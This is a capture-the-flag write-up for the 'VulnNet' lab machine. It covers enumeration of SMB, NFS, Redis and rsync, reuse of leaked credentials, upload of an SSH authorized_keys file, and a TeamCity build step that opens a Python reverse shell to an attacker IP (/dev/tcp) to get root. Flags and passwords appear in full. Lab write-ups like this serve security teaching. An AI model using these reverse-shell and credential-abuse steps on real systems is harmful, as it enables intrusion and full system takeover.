## **VulnNet**

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# **Network Enumeration**

For brevity's sake, the complete ouput is reduced

```
sudo nmap -sC -sV -A -0 10.10.114.2
PORT
        STATE
                 SERVICE
                             VERSION
22/tcp
       open
                 ssh
                             OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux;
protocol 2.0)
111/tcp open
                rpcbind
                             2-4 (RPC #100000)
139/tcp open
                netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open
              netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
873/tcp open
                rsync
                             (protocol version 31)
2049/tcp open
                 nfs_acl
                             3 (RPC #100227)
9090/tcp filtered zeus-admin
Service Info: Host: VULNNET-INTERNAL; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

# **RPCBind Enumeration**

Starting from the lower ports. Lets see what kind of information we can gather.

From the nmap output:

```
rpcbind 2-4 (RPC #100000)
111/tcp open
 rpcinfo:
   program version
                     port/proto service
                       111/tcp
                                 rpcbind
   100000 2,3,4
   100000 2,3,4
                       111/udp
                                 rpcbind
                      111/tcp6 rpcbind
   100000 3,4
   100000 3,4
                       111/udp6
                                 rpcbind
                      2049/udp
   100003 3
                                 nfs
   100003 3
                       2049/udp6 nfs
                      2049/tcp
   100003 3,4
                                 nfs
   100003 3,4
                      2049/tcp6
                                 nfs
   100005 1,2,3
                      35433/tcp6 mountd
   100005 1,2,3
                     42003/tcp
                                 mountd
                      48440/udp
   100005 1,2,3
                                 mountd
   100005 1,2,3
                      59413/udp6 mountd
                      33687/tcp
                                 nlockmgr
   100021 1,3,4
   100021 1,3,4
                     35807/tcp6 nlockmgr
                      48080/udp
                                 nlockmgr
   100021 1,3,4
                      51254/udp6 nlockmgr
   100021 1,3,4
                      2049/tcp
                                 nfs_acl
   100227 3
                       2049/tcp6 nfs_acl
   100227
           3
   100227
           3
                       2049/udp
                                 nfs_acl
                       2049/udp6 nfs_acl
   100227
```

#### From hacktricks:

 If you find the service NFS then probably you will be able to list and download(and maybe upload) files

And as we already confirmed that port 2049 is opened. So lets hold on to this piece of info

## **NetBIOS and Samba Enumeration**

As ports 139 and 445 are opened and running NetBIOS/Samba, we can use that to try and collect more important information:

```
Sharename Type Comment
------
print$ Disk Printer Drivers
shares Disk VulnNet Business Shares
IPC$ IPC Service (vulnnet-internal server (Samba,
Ubuntu))
SMB1 disabled -- no workgroup available
```

The shares in the server are not protected. Can we access them?

Now you can exfiltrate the files in those two directories.

Inside services.txt there's the first flag:

```
THM{0a09d51e488f5fa105d8d866a497440a}
```

There's nothing of significance in the other files.

# **Rsync Enumeration**

```
rsync -av --list-only rsync://10.10.208.40/
files Necessary home interaction
```

Now you've just confirmed there's a share called *files* exposed by the server.

You can use this information to enumerate this share:

```
L$ rsync -av --list-only rsync://10.10.208.40/files
Password:
```

It's asking for a password. Let's take a step back and see if we can find something.

# **Enumarating NFS**

It's time to comeback to that piece of information we got earlier. Let's see if we can list the files within the server:

```
-$ showmount -e 10.10.208.40

Export list for 10.10.208.40:

/opt/conf *
```

Mount the remote file server and explore it:

```
sudo mount -t nfs 10.10.208.40:/opt/conf tmp -o nolock

-$ ls

hp init opt profile.d redis vim wildmidi
```

There's a lot of noise inside this share, meaning, there's a lot of files, and some of them are quite verbose. But none of them are really important. Except for one located in redis/redis.conf. It seems to be describing a service that is running on port 6379. Which is weird, since this port didn't show up in the *nmap* scan. After a quick google search, I find that:

Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache, and message broker.

This is looking a lot like another share.

There's also another line that says:

```
requirepass "B65Hx562F@ggAZ@F"
```

Now we are armed with a new protocol to discover, and even an authentication mechanism.

Lets run *nmap* again, this time specifying the port (at that time, my machine had expired, so I had to start another instance and got a different IP address):

```
sudo nmap -sC -sV -A -O -p6379 10.10.190.104

PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store
```

Now it's time to enumerate our third share.

Since we've got our password, we can just log in and start the enumeration:

```
-$ redis-cli -h 10.10.190.104 -a "B65Hx562F@ggAZ@F"
1 x
Warning: Using a password with '-a' or '-u' option on the command line
interface may not be safe.
10.10.190.104:6379>
```

Listing the keys inside the share:

```
10.10.190.104:6379> keys *
1) "internal flag"
2) "int"
3) "authlist"
4) "marketlist"
5) "tmp"
10.10.190.104:6379>
```

```
10.10.190.104:6379> get "internal flag"
"THM{ff8e518addbbddb74531a724236a8221}"
10.10.190.104:6379>
```

That's our second flag.

If you try to use thate same command on another file, you'll get:

```
10.10.190.104:6379> get "authlist"
(error) WRONGTYPE Operation against a key holding the wrong kind of value
```

Do a quick google search, and you'll stumble on a <u>Stackoverflow question</u>.

Redis supports 5 data types. You need to know what type of value that a key maps to, as for each data type, the command to retrieve it is different. Here are the commands to retrieve key value:

- if value is of type string → GET <key>
- if value is of type hash → HGETALL <a href="key"> <a
- if value is of type lists → lrange <key> <start> <end>
- if value is of type sets → smembers <key>
- if value is of type sorted sets → ZRANGEBYSCORE <key> <min>

<max>

Use the TYPE command to check the type of value a key is mapping to:

type <key>

```
10.10.190.104:6379> type "authlist"
list
10.10.190.104:6379>
```

Since it's a list type, we'll use *Irange*:

```
10.10.190.104:6379> lrange "authlist" 0 2
1)
"QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3k
2)
"QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3k
3)
"QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3k
```

### Decode this string:

```
-$ base64 -d <<<
QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3
Authorization for rsync://rsync-connect@127.0.0.1 with password
Hcg3HP67@TW@Bc72v</pre>
```

And there's the rsync authentication mechanism we needed.

# **Back to Rsync Enumeration**

Let's go back and use the command we tried before, but now we have a password for auth.

This time I dropped the since the output was being overly-verbose.

Now let's check this sys-internal directory:

```
-$ rsync -v --list-only rsync://rsync-connect@10.10.190.104/files/sys-internal/
Password:
receiving file list ... done
                   4,096 2021/02/06 07:49:29 .
drwxr-xr-x
                     61 2021/02/06 07:49:28 .Xauthority
-rw----
                       9 2021/02/01 08:33:19 .bash_history
lrwxrwxrwx
                     220 2021/02/01 07:51:14 .bash_logout
-rw-r--r--
                  3,771 2021/02/01 07:51:14 .bashrc
-rw-r--r--
                      26 2021/02/01 07:53:18 .dmrc
-rw-r--r--
                     807 2021/02/01 07:51:14 .profile
-rw-r--r--
                       9 2021/02/02 09:12:29 .rediscli_history
lrwxrwxrwx
-rw-r--r--
                       0 2021/02/01 07:54:03 .sudo_as_admin_successful
                      14 2018/02/12 14:09:01 .xscreensaver
-rw-r--r--
-rw-----
                   2,546 2021/02/06 07:49:35 .xsession-errors
                   2,546 2021/02/06 06:40:13 .xsession-errors.old
-rw-----
                      38 2021/02/06 06:54:25 user.txt
drwxrwxr-x
                   4,096 2021/02/02 04:23:00 .cache
                   4,096 2021/02/01 07:53:57 .config
drwxrwxr-x
```

```
4,096 2021/02/01 07:53:19 .dbus
drwx----
                   4,096 2021/02/01 07:53:18 .gnupg
drwx----
                   4,096 2021/02/01 07:53:22 .local
drwxrwxr-x
                   4,096 2021/02/01 08:37:15 .mozilla
drwx----
drwxrwxr-x
                   4,096 2021/02/06 06:43:14 .ssh
                   4,096 2021/02/02 06:16:16 .thumbnails
drwx----
drwx----
                   4,096 2021/02/01 07:53:21 Desktop
drwxr-xr-x
                   4,096 2021/02/01 07:53:22 Documents
drwxr-xr-x
                   4,096 2021/02/01 08:46:46 Downloads
                   4,096 2021/02/01 07:53:22 Music
drwxr-xr-x
                   4,096 2021/02/01 07:53:22 Pictures
drwxr-xr-x
                   4,096 2021/02/01 07:53:22 Public
drwxr-xr-x
                   4,096 2021/02/01 07:53:22 Templates
drwxr-xr-x
                   4,096 2021/02/01 07:53:22 Videos
drwxr-xr-x
```

This is looking a lot like a /home/sys-internal directory.

#### From hacktricks:

You could also **upload** some **content** using rsync (for example, in this case we can upload an **authorized\_keys** file to obtain access to the box): rsync -av home\_user/.ssh/
rsync://username@192.168.0.123/home\_user/.ssh

Let's try this. First, we'll create a new ssh key:

Now copy your new public key into a file called *authorized\_keys*, and let's try to upload this file into the user's home.

```
-$ cp ssh/id_rsa.pub authorized_keys
_$ rsync_-av_authorized_keys_rsync://rsync-connect@10.10.190.104/files/sys-
internal/.ssh/
Password:
sending incremental file list
authorized_keys
sent 675 bytes received 35 bytes 157.78 bytes/sec
total size is 563 speedup is 0.79
r—(kali⊛kali)-[~/THM/vulnnet]
$\text{rsync} -v --list-only rsync://rsync-connect@10.10.190.104/files/sys-
internal/.ssh/
Password:
receiving file list ... done
drwxrwxr-x 4,096 2021/08/21 14:14:22 .
                    563 2021/08/21 14:13:10 authorized_keys
-rw-r--r--
sent 20 bytes received 68 bytes 16.00 bytes/sec
total size is 563 speedup is 6.40
```

It worked. Now we can try to ssh into the server as sys-internal:

```
-$ ssh -i ssh/id_rsa sys-internal@10.10.190.104

sys-internal@vulnnet-internal:~$
```

And we've got a shell:)

# **Privilege Escalation**

We're finally here. But there's still a mile to run.

First and foremost, the user flag:

```
sys-internal@vulnnet-internal:~$ cat user.txt
THM{da7c20696831f253e0afaca8b83c07ab}
```

### **Enumerating Processess**

Now this took me quite a while to figure out. There's no setuid, capabilities or sudoer binary to gain elevated privileges.

First, after running *ps aux*, there's one process in particular that got my attention since I hadn't seen it before during enumeration:

```
root 555 0.0 0.0 4628 672 ? S 19:30 0:00 sh teamcity-server.sh _start_internal
root 565 0.0 0.0 4752 1808 ? S 19:30 0:00 sh
/TeamCity/bin/teamcity-server-restarter.sh run
```

After a quick google search:

**TeamCity** is a <u>build management</u> and <u>continuous integration</u> server from <u>JetBrains</u>. It was first released on October 2, 2006[ <u>2</u> ] and is commercial software and licensed under a proprietary license: a <u>freemium</u> license for up to 100 build configurations and three free Build Agent licenses are available. <u>Open Source</u> projects may request a free license.

Let's try to find the installation directory:

```
sys-internal@vulnnet-internal:~$ find / -type d -iname teamcity 2>/dev/null
/TeamCity
/TeamCity/buildAgent/plugins/rake-runner/rb/patch/bdd/teamcity
/TeamCity/buildAgent/plugins/rake-
runner/rb/patch/bdd/teamcity/spec/runner/formatter/teamcity
/TeamCity/buildAgent/plugins/rake-runner/rb/patch/common/teamcity
/TeamCity/buildAgent/plugins/rake-
runner/rb/patch/testunit/test/unit/ui/teamcity
```

After changing into it's directory, there's a very interesting file:

```
sys-internal@vulnnet-internal:/TeamCity$ cat TeamCity-readme.txt
This is the JetBrains TeamCity home directory.
To run the TeamCity server and agent using a console, execute:
* On Windows: `.\bin\runAll.bat start`
* On Linux and macOS: `./bin/runAll.sh start`
By default, TeamCity will run in your browser on `http://localhost:80/`
(Windows) or `http://localhost:8111/` (Linux, macOS). If you cannot access the
default URL, try these Troubleshooting tips:
https://www.jetbrains.com/help/teamcity/installing-and-configuring-the-
teamcity-server.html#Troubleshooting+TeamCity+Installation.
For evaluation purposes, we recommend running both server and agent. If you
need to run only the TeamCity server, execute:
* On Windows: `.\bin\teamcity-server.bat start`
* On Linux and macOS: `./bin/teamcity-server.sh start`
For licensing information, see the "licenses" directory.
More information:
TeamCity documentation: https://www.jetbrains.com/help/teamcity/teamcity-
documentation.html
TeamCity product page: https://www.jetbrains.com/teamcity/
```

Yet another service that didn't show up in nmap's scan. Let's try to find it now:

```
-$ nmap -sV -Pn -p 8111 10.10.190.104

PORT STATE SERVICE VERSION

8111/tcp closed skynetflow
```

The port is closed. Weird. Let's check out the socket activity from inside the remote host:

```
sys-internal@vulnnet-internal:/TeamCity$ ss
tcp
                       ESTAB
                                                    0
                                                                             0
10.10.190.104:ssh
10.6.93.17:40384
tcp
                       ESTAB
                                                    0
                                                                             0
[::ffff:127.0.0.1]:50093
[::ffff:127.0.0.1]:8111
                       CLOSE-WAIT
                                                    1
                                                                             0
[::ffff:127.0.0.1]:38257
[::ffff:127.0.0.1]:8111
                       ESTAB
                                                    0
                                                                             0
tcp
[::ffff:127.0.0.1]:8111
[::ffff:127.0.0.1]:50093
```

So that means that the service is in fact running, but the port is opened in loopback, i.e, only the remote host or hosts inside the internal network can access it. We can use proxy or tunnels to circumvent this issue (metasploit +proxychains + socks5 or netcat port forwarding or SSH).

Let's close out current SSH session and open another one, this time using an SSH tunnel to locally forward his the server's 8111 port into ours 80:

```
$ ssh -i ssh/id_rsa -L 80:localhost:8111 sys-internal@10.10.190.104
```

Accessing our localhost through the web:



A No System Administrator found.   Log in as a Super user to create an administrator account.	
Username	]
Password	]
Remember me	
Log in	
Reset password	

Version 2020.2.2 (build 85899)

After searching the web for deafult credentials and trying all the most used combinations, i.e, admin/admin, I eventually clicked in Log in as a Super User:



# Log in as Super user

Authentication token: ⑦
Remember me
Log in

Version 2020.2.2 (build 85899)

It's asking for an *authentication token*. Click the [2] icon above the form:

The **Super user** login allows you to access the server UI with System Administrator permissions. For example, if you forgot the credentials or need to fix authentication-related settings. The login is performed using authentication token that can be found in the server logs.

Also, Super user token is used to access the server maintenance pages displayed on the server start when a manual action is required to proceed with the server startup.

The authentication token is automatically generated on every server start. The token is printed in the server console and teamcity-server.log under the TeamCity\logs directory (search for the "Super user authentication token" text). The line is printed on the server start and on any login page submit without a username specified.

Use the grep command inside TeamCity root directory too look for the token:

grep token logs/catalina.out

[TeamCity] Super user authentication token: 8446629153054945175 (use empty username with the token as the password to access the server)

[TeamCity] Super user authentication token: 8446629153054945175 (use empty username with the token as the password to access the server)


[TeamCity] Super user authentication token: 3782562599667957776 (use empty

```
username with the token as the password to access the server)
[TeamCity] Super user authentication token: 5812627377764625872 (use empty username with the token as the password to access the server)
[TeamCity] Super user authentication token: 6787206989408001784 (use empty username with the token as the password to access the server)
```


Try all of the tokens until one of them works for you.

### Inside the webservice dashboard

You should now have access to the webservice dashboard



After at least an hour of google search, I finally found something that may be worthwhile:



Take your time to read through the step-by-step.

In short:

```
Projects -> Create Project -> Manually -> Create Build Configuration -> Skip New VCS Root -> Build Steps -> Add Build Step -> Select Python as Runner Type -> Select Custom Script as Command
```

```
import os
os.system("bash -c 'exec bash -i &>/dev/tcp/10.6.93.17/8081 <&1'")
```

Save the custom script and set up a *netcat* listener on your server before running:

```
L$ nc -lnvp 8081

1 ×

listening on [any] 8081 ...

connect to [10.6.93.17] from (UNKNOWN) [10.10.220.240] 51502

bash: cannot set terminal process group (510): Inappropriate ioctl for device bash: no job control in this shell root@vulnnet-internal:/TeamCity/buildAgent/work/d1df6864f98d2599#
```

And just like that, we got our root user, and now, the last flag of the VM:

```
root@vulnnet-internal:/TeamCity/buildAgent/work/d1df6864f98d2599# cat
/root/root.txt
<uildAgent/work/d1df6864f98d2599# cat /root/root.txt
THM{e8996faea46df09dba5676dd271c60bd}</pre>
```